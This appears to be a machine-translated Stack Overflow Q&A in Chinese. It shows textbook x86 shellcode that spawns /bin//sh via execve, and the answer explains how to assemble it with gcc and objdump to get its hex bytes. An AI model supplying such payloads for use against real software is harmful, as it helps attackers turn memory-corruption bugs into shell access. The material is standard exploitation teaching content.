2014-12-02 73 views
1

我有以下的彙編代碼從埃裏克森的利用書產生一個殼:如何編譯Intel x86彙編代碼以獲取十六進制轉儲?

; execve(const char *filename, char *const argv [], char *const envp[]) 
xor eax, eax ; Zero out eax. 
push eax ; Push some nulls for string termination. 
push 0x68732f2f ; Push "//sh" to the stack. 
push 0x6e69622f ; Push "/bin" to the stack. 
mov ebx, esp ; Put the address of "/bin//sh" into ebx, via esp. 
push eax ; Push 32-bit null terminator to stack. 
mov edx, esp ; This is an empty array for envp. 
push ebx ; Push string addr to stack above null terminator. 
mov ecx, esp ; This is the argv array with string ptr. 
mov al, 11 ; Syscall #11. 
int 0x80 ; Do it. 

然而,我的Linux機器沒有NASM,並獲得它需要我去取我的管理員下載軟件包。有沒有其他的方法可以把它變成十六進制?我知道GCC使用AT & T,但我不知道任何支持Intel x86的方法。

+0

見http://stackoverflow.com/questions/9347909/can-i-use-intel- x86-assembly-with-gcc的語法如果這不起作用,並且您覺得讓管理員讓您下載nasm太麻煩了,那麼您可以用AT&T語法重寫代碼。 – Michael 2014-12-02 08:37:26

+0

原諒我的Linux foo,但那會是gcc assem.s -masm = intel objFileToGetHexed.o?我正在運行一個沒有這樣的文件或目錄的.o文件,這對我沒有意義... – 2014-12-02 08:53:10

+0

不,我相信你會在你的源文件中添加該文件。 – Michael 2014-12-02 08:54:23

回答

3

要獲得只是一個十六進制轉儲你並不需要一個有效的可執行文件。在你的情況下(沒有重定位),我沒有發現用你的彙編程序在你的操作系統上在家組裝代碼的問題,得到十六進制轉儲並在目標系統上使用它。只需照顧架構(i386或x86_64)。

以下是得到Linux上的十六進制轉儲步驟:

test.s(小寫」 .S')

.intel_syntax noprefix 
.text 
.global _start 
_start: 

xor eax, eax # Zero out eax. 
push eax # Push some nulls for string termination. 
push 0x68732f2f # Push "//sh" to the stack. 
push 0x6e69622f # Push "/bin" to the stack. 
mov ebx, esp # Put the address of "/bin//sh" into ebx, via esp. 
push eax # Push 32-bit null terminator to stack. 
mov edx, esp # This is an empty array for envp. 
push ebx # Push string addr to stack above null terminator. 
mov ecx, esp # This is the argv array with string ptr. 
mov al, 11 # Syscall #11. 
int 0x80 # Do it. 

考慮到;改變註釋標誌#

構建並獲得十六進制轉儲:

gcc -m32 -c test.s 
objdump -F -s -j.text test.o 

您還可以使用gdb test.odisass/r _start